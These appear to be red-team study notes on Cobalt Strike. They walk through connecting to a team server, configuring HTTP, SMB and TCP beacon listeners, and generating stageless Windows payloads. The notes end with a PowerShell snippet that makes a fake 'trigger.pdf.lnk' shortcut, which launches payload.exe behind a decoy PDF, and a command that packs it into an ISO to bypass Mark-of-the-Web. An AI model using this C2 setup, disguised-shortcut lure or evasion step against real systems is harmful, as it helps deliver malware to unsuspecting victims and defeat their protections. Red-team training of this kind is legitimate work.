Cobalt Strike

RTO Notes

Launch Cobalt Strike Icon. Fill the connection

• Alias

• Host (Our local Machine IP) - 10.0.0.5

• Port 50050

Create Listener

## Create Listeners
Go to Cobalt Strike > Listeners to bring up the Listeners tab.
Click Add to create a new listener.
Add the following listeners:
## HTTP
Name: http
Payload: Beacon HTTP
HTTP Hosts: www.bleepincomputer.com
HTTP Host (Stager) : www.bleepincomputer.com

## SMB
Name: smb
Payload: Beacon SMB
Pipename: TSVCPIPE-4b2f70b3-ceba-42a5-a4b5-704e1c41337

## TCP
Name: tcp
Payload: Beacon TCP
Port: 4444
Bind to localhost: False
TCP (local)
Name: tcp-local
Payload: Beacon TCP
Port: 1337
Bind to localhost: True

Payload

Generate Payloads
Generate payloads for each listener.
Go to Payloads > Windows Stageless Generate All Payloads
Folder: C:\Payloads
Click Generate

Sample LNK

//Create report.pdf.lnk using pwershell
$wsh = New-Object -ComObject WScript.Shell
$lnk = $wsh.CreateShortcut("C:\Payloads\trigger.pdf.lnk")
$lnk.TargetPath = "%COMSPEC%"
$lnk.Arguments = "/C start payload.exe && start decoy.pdf"
$lnk.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$lnk.Save()

// pack to bypass MotW
/mnt/c/Tools/PackMyPayload/PackMyPayload.py test.pdf test.iso